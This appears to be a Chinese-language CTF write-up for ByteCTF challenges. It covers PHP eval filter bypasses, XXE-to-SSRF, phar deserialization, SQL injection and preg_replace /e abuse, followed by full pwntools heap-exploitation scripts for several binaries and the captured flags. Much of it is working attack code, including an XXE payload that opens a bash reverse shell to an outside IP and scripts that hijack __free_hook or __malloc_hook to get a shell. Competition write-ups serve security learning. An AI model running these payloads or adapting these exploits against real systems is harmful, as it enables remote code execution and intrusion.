<?php function is_valid_url($url) { if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/data:\/\//i', $url)) { return false; } return true; } return false; } if (isset($_POST['url'])){ $url = $_POST['url']; if (is_valid_url($url)) { $r = parse_url($url); if (preg_match('/baidu\.com$/', $r['host'])) { $code = file_get_contents($url); if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { echo 'bye~'; } else { eval($code); } } } else { echo "error: host not allowed"; } } else { echo "error: invalid url"; } }else{ highlight_file(__FILE__); } ?>
data:// 被干掉了,只能换思路,尝试绕了一圈没啥进展,那就先绕第二层吧。
再看下题目,明确好目标,flag 在上一级目录的 index.php 里,即 ../index.php,能读文件就行了。
fuzz 一下,得到了不少函数,但能用的很少。还有一个 readfile 能用,简单思路如下:
readfile('../index.php')
=> readfile(/var/www/html/index.php);
=> chdir('..') => readfile(end(scandir('.')));
第一个问题,'.' 从何来?一般直接用 ord()
构造,没错,这里也用这个。
那就可以随便玩了,再结合一下 time()
。
第二个问题,'..' 怎么来?
第三个问题,chdir('..')
没地方放,它的返回值是布尔型,那就丢 time()
吧,虽然是 time(void)
,但也没影响 :)。
整理一下:
readfile(end(scandir(chr(time(chdir(next(scandir(chr(time())))))))));
有人可能会觉得打中的概率太小了,那就一秒发一次,最多 256 次啊 :)
正在一筹莫展的时候,叫队里师傅看了下,他随手丢了个链接出来。云屿师傅太强了!
第一部分和 boring_code 一样,构造一个 baidu.com 的跳转,让其的返回是个 RSS。
https://www.baidu.com/link?url=YuO-oavRIu9aTgoWy7-XSHsMTg2MOcNOtBULc64oZ3OEPnAp-IJ8Y2ui2vzhSPiL
(不是我真的很想吐槽为啥跳到我的站能302,另外比较正常的做法不应该是注册一个aaaabaidu.com的域名吗喂)
尝试XXE读文件,确认可读,读到源码后确认是个裸得不能再裸的XXE转SSRF,直接打。
最终构造文件:
RSS:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://www.zsxsoft.com/rss222.php&order=id,1)%2Bsystem('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F129.204.79.120%2F23458%200%3E%261%22')%2Bstrcmp(''" > ]>
rss222.php
<data> <channel> <item> <id>1</id> <link>/hoge</link> </item> <item> <id>2</id> <link>/foo</link> </item> </channel> </data>
常见的反序列化点:
寻找有 open 方法的内置类,得到这两个:
SessionHandler
ZipArchive
session 没啥用,目光聚焦到 ZipArchive,看下文档发现有戏。
生成 phar
<?php class File{ public $filename; public $filepath; public $checker; function __construct() { $this->checker = new Profile(); } } class Profile{ public $username; public $password; public $admin; function __construct() { $this->admin = new ZipArchive; $this->username = '/var/www/html/sandbox/9931f06e1af1fd77c1e95e84443dd6f6/.htaccess'; $this->password = ZIPARCHIVE::OVERWRITE; } } @unlink("test.phar"); $phar = new Phar("test.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();?>"); $o = new File(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();
把 phar 传上去后,再按老套路弄下就 OK 了。
edit.php
if($_SESSION['id'] == $row['userid']){ $title = addslashes($_POST['title']); $content = addslashes($_POST['content']); $sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';"); exit("<script>alert('Edited successfully.');location.href='index.php';</script>"); }
$row['title'] 没有任何过滤,可以注入,拿到 vip 账号:wulax / 1。
发现题目本身是 PHP 5.3,又看到正则,估计考察点是 preg_replac e的 e 参数以及 %00 截断;发现disable_function 但已经被别人打fpm了,就跟别人后面直接 antsystem,就不自己打 fpm 了。
POST /replace.php HTTP/1.1 Host: 112.126.101.16:9999 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.8,zh-CN;q=0.5,ja;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=--------1922216787 Content-Length: 424 DNT: 1 Connection: close Referer: http://112.126.101.16:9999/replace.php?id=685 Cookie: PHPSESSID=4jihl1fqnuugt8eqmoinpo1t47 Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache ----------1922216787 Content-Disposition: form-data; name="find" bb%00/e ----------1922216787 Content-Disposition: form-data; name="replace" eval($_POST['cc']); ----------1922216787 Content-Disposition: form-data; name="regex" 1 ----------1922216787 Content-Disposition: form-data; name="id" 971 ----------1922216787 Content-Disposition: form-data; name="cc" var_dump(antsystem('/readflag')); exit; ----------1922216787--
vm 结构
struct __attribute__((packed)) __attribute__((aligned(2))) Arch { char *text; char *stack; int stack_size; int mem_size; unsigned int break[256]; unsigned int regs[16]; unsigned int _eip; unsigned int _esp; unsigned int _ebp; unsigned __int16 eflags; };
每条指令长度为10
0 1 2 3 4 5 6
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| OpCode | Type | Operand 1 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Operand 2 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
or
0 1 2 3 4
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| OpCode | Type | Operand 1 ...
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
... | Operand 2 ...
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
... |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
OpCode:
1 -> add
2 -> sub
3 -> mov
4 -> xor
5 -> or
6 -> and
7 -> shift left
8 -> shift right
9 -> push
10 -> pop
11 -> call
12 -> ret
漏洞点
:堆溢出,输入init_size比memory_size大就行
v8->memory = (__int64)v7; v9 = 0LL; puts("[*]Memory inited"); printf("[*]Inited size>", argv); __isoc99_scanf((__int64)"%llu", (__int64)&init_sz); printf("[*]Input Memory Now (0x%llx)\n", init_sz); while ( v9 < init_sz ) { v11 = (void *)(virtual_machine->memory + v9); if ( init_sz - v9 > 0xFFF ) { v10 = read(0, v11, 0x1000uLL); if ( v10 <= 0 ) goto LABEL_26; } else { v10 = read(0, v11, init_sz - v9); if ( v10 <= 0 ) LABEL_26: exit(1); } v9 += v10; }
和对stack的ebp检查有误
_eeip = vmachine->_eip; v2 = vmachine->size; if ( _eeip >= v2 || (unsigned int)vmachine->_esp >= vmachine->stack_size || v2 <= vmachine->_ebp ) return 1LL;
from pwn import * def exp(host, port=9999): if host: p = remote(host, port) else: p = process('./ezarch', env={'LD_PRELOAD':'./libc.so'}) gdb.attach(p, ''' c ''') sa = p.sendafter ru = p.recvuntil rl = p.recvline sla = p.sendlineafter def Mem(size, code, eip=0, esp=0, ebp=0): sla('>', 'M') sla('>', str(size)) sla('>', str(len(code))) sa(')', code) sla('eip>', str(eip)) sla('esp>', str(esp)) sla('ebp>', str(ebp)) # mov reg[0], stack[ebp] opcode = '\x03\x20' + p32(0) + p32(17) # sub reg[0], 0x20 opcode+= '\x02\x10' + p32(0) + p32(0x20) # mov stack[ebp], reg[0] opcode+= '\x03\x02' + p32(17) + p32(0) # now stack pointer to stderr, let's get it opcode+= '\x0a\x00' + p32(1) + p32(0) opcode+= '\x0a\x00' + p32(2) + p32(0) Mem(0x1010, opcode, 0, 0, 0x1008) sla('>', 'R') ru('R1 --> 0x') low = rl(keepends=False) ru('R2 --> 0x') high = rl(keepends=False) libc.address = int(high+low, 16) - libc.sym['_IO_2_1_stderr_'] info("libc @ "+hex(libc.address)) Mem(0x60, 'B') Mem(0x1010, '\x00'*0x1010 + p64(0) + p64(0x71) + p64(libc.sym['__free_hook']-8)) Mem(0x60, 'B') Mem(0x60, '/bin/sh\x00' + p64(libc.sym['system'])) sla('>', 'M') sla('>', '1') p.interactive() if __name__ == '__main__': elf = ELF('./ezarch', checksec=False) libc = ELF('./libc.so', checksec=False) exp(args['REMOTE']) # bytectf{0ccf4027c269fcbd1d0a74ddd62ba90a}
free的时候sleep了10秒,造成UAF
from pwn import * def cmd(command): p.recvuntil(">") p.sendline(command) def add(sz,content): cmd('C') p.recvuntil("size>") p.sendline(str(sz)) p.recvuntil("note>") p.send(content) def show(): cmd('S') def dele(idx): cmd('R') p.recvuntil("index>") p.sendline(str(idx)) def edit(idx,content): cmd('E') p.recvuntil("index>") p.sendline(str(idx)) p.recvuntil("note>") p.send(content) def main(host,port=9999): global p if host: p = remote(host,port) else: p = process("./mulnote") gdb.attach(p) add(0x68,"A") add(0x68,"A") add(0x100,"A") add(0x10,"A") #3 dele(0) dele(1) dele(2) add(0x68,"A") #0 show() p.recvuntil("1]:\n") heap = u64(p.recv(6).ljust(8,'\x00'))-0x41 info("heap : " + hex(heap)) p.recvuntil("2]:\n") libc.address = u64(p.recv(6).ljust(8,'\x00'))-0x3c4b78 info("libc : " + hex(libc.address)) add(0x68,"A") dele(4) dele(0) edit(0,p64(libc.symbols["__malloc_hook"]-0x23)[:6]) add(0x68,"A") one_gadget = libc.address+0x4526a info("one_gadget : " + hex(one_gadget)) add(0x68,"\x00"*0x13+p64(one_gadget)) p.interactive() if __name__ == "__main__": libc = ELF("./libc.so",checksec=False) # elf = ELF("./mheap",checksec=False) main(args['REMOTE'])
vip
函数中存在溢出,可以覆写sock_filter
,将open("/dev/random", 0)
的返回值改为ERRNO(0)
即可进行后续利用
from pwn import * def exploit(host, port=9999): if host: p = remote(host, port) else: p = process("./vip", env={"LD_PRELOAD":"./libc-2.27.so"}) gdb.attach(p, ''' # b *0x00000000004014EB c ''') sa = p.sendafter sla = p.sendlineafter def alloc(idx): sla('choice: ', '1') sla('Index: ', str(idx)) def show(idx): sla('choice: ', '2') sla('Index: ', str(idx)) def dele(idx): sla('choice: ', '3') sla('Index: ', str(idx)) def edit(idx, size, cont): sla('choice: ', '4') sla('Index: ', str(idx)) sla('Size: ', str(size)) sa('Content: ', cont) def vip(name): sla('choice: ', '6') sa('name: ', name) vip('tr3e'*8 + "\x20\x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x03\x01\x01\x00\x00\x20\x00\x00\x00\x18\x00\x00\x00\x15\x00\x00\x01\x7e\x20\x40\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xff\x7f") for x in range(4): alloc(x) dele(1) edit(0, 0x68, 'A'*0x50 + p64(0) + p64(0x61) + p64(0x404100)) alloc(1) alloc(0xF) edit(0xF, 8, p64(elf.got['free'])) show(0) libc.address = u64(p.recvline(keepends=False).ljust(8, '\x00')) - libc.sym['free'] info('libc @ '+hex(libc.address)) edit(0xF, 0x10, p64(libc.sym['__free_hook']) + p64(libc.search('/bin/sh').next())) edit(0, 8, p64(libc.sym['system'])) dele(1) p.interactive() if __name__ == '__main__': elf = ELF('./vip') libc = ELF('./libc-2.27.so') exploit(args['REMOTE']) # bytectf{2ab64f4ee279e5baf7ab7059b15e6d12}
程序定义了自己的分配规则,程序的chunk:
struct chunk{ size_t size; void* next; //only used after free char buf[size]; }
漏洞点在
_int64 __fastcall read_n(char *buf, signed int len) { __int64 result; // rax signed int v3; // [rsp+18h] [rbp-8h] int v4; // [rsp+1Ch] [rbp-4h] v3 = 0; do { result = (unsigned int)v3; if ( v3 >= len ) break; v4 = read(0, &buf[v3], len - v3); if ( !v4 ) exit(0); v3 += v4; result = (unsigned __int8)buf[v3 - 1]; } while ( (_BYTE)result != 10 ); return result; }
当buf+len的地址比mmap的尾部还要大时,read返回-1,然后就可以向上读,伪造一个next指针即可
from pwn import * def cmd(command): p.recvuntil("Your choice: ") p.sendline(str(command)) def add(idx,sz,content=''): cmd(1) p.recvuntil("Index: ") p.sendline(str(idx)) p.recvuntil("Input size: ") p.sendline(str(sz)) if content: p.recvuntil("Content: ") p.send(content) def show(idx): cmd(2) p.recvuntil("Index: ") p.sendline(str(idx)) def dele(idx): cmd(3) p.recvuntil("Index: ") p.sendline(str(idx)) def edit(idx,content): cmd(4) p.recvuntil("Index: ") p.sendline(str(idx)) p.send(content) def main(host,port=9999): global p if host: p = remote(host,port) else: p = process("./mheap") gdb.attach(p,"b *0x000000000040159B") add(0,0xfb0,"A"*0x10+'\n') add(0,0x10,"A"*0x10) dele(0) add(1,0x60,p64(0x00000000004040d0)+'A'*0x2f+'\n') add(0,0x23330fc0-0x10,"A"*0x8+p64(elf.got["atoi"])*2+'\n') show(1) libc.address = u64(p.recv(6).ljust(8,'\x00'))-libc.symbols["atoi"] info("libc : " + hex(libc.address)) edit(1,p64(libc.symbols["system"])+'\n') p.recvuntil("Your choice: ") p.sendline("/bin/sh\x00") p.interactive() if __name__ == "__main__": libc = ELF("./libc-2.27.so",checksec=False) elf = ELF("./mheap",checksec=False) main(args['REMOTE'])
程序的 edit 功能存在 off_by_one,先overlap,然后一系列利用攻击到 stdout 泄露出libc,我选择的地方是_IO_stdout_21-0x51(1/16的概率) 的位置,那里有个 0xff。然后伪造stderr的vtable,最后触发 IO_flush_all_lockp
来 getshell。
from pwn import * def cmd(command): p.recvuntil("choice>> ") p.sendline(str(command)) def add(idx,sz): cmd(1) p.recvuntil("idx: ") p.sendline(str(idx)) p.recvuntil("size: ") p.sendline(str(sz)) def dele(idx): cmd(3) p.recvuntil("idx: ") p.sendline(str(idx)) def edit(idx,content): cmd(2) p.recvuntil("idx: ") p.sendline(str(idx)) p.recvuntil("content: ") p.send(content) def main(host,port=9999): global p if host: p = remote(host,port) else: p = process("./note_five") gdb.attach(p) add(0,0x98) add(1,0xa8) add(2,0x1e8) add(3,0xe8) dele(1) dele(0) dele(2) dele(3) #overlap add(0,0xe8) add(1,0xf8) add(2,0xf8) add(3,0x1f8) add(4,0xe8) dele(0) edit(1,"A"*0xf0+p64(0x1f0)+'\x00') dele(2) add(0,0xe8) # t = int(raw_input('guest: ')) t = 8 global_maxfast = (t << 12) | 0x7f8 stdout = global_maxfast-0x11d8 #unsortedbin attack edit(1,"\x00"*8+p16(global_maxfast-0x10)+'\n') add(2,0x1f8) edit(2,"A"*0x1f8+'\xf1') edit(0,"\x00"*0x98+p64(0xf1)+p16(stdout-0x51)+'\n') dele(0) dele(4) dele(3) add(3,0x2e8) edit(3,"A"*0x1f8+p64(0xf1)+'\xa0\n') dele(2) add(0,0xe8) add(2,0xe8) add(4,0xe8) #leak libc edit(4,'A'+"\x00"*0x40+p64(0xfbad1800)+p64(0)*3+'\x00\n') p.recv(0x40) libc.address = u64(p.recv(8))-0x3c5600 info("libc : " + hex(libc.address)) one_gadget = 0xf1147+libc.address payload = '\x00'+p64(libc.address+0x3c55e0)+p64(0)*3+p64(0x1)+p64(one_gadget)*2+p64(libc.address+0x3c5600-8) edit(4,payload+'\n') #trigger abort-->flush add(1,1000) p.interactive() if __name__ == "__main__": libc = ELF("./libc.so",checksec=False) # elf = ELF("./mheap",checksec=False) main(args['REMOTE'])
签到题:bytectf{Hello Bytectf}
拼图游戏
from pwn import * p = remote("112.125.25.81",9999) def exp(a,y=1): if y == 1: if a == "s": return "b" if a == "j": return "s" if a == "b": return "j" elif y == -1: if a == "s": return "j" if a == "b": return "s" if a == "j": return "b" else: return a for i in range(30): p.recvuntil("I will use:") tmp = p.recvuntil("\n")[-2:-1] info(tmp) if i%3 == 0: p.sendline(exp(tmp,0)) elif i%3 == 1: p.sendline(exp(tmp,-1)) else: p.sendline(exp(tmp,1)) p.interactive()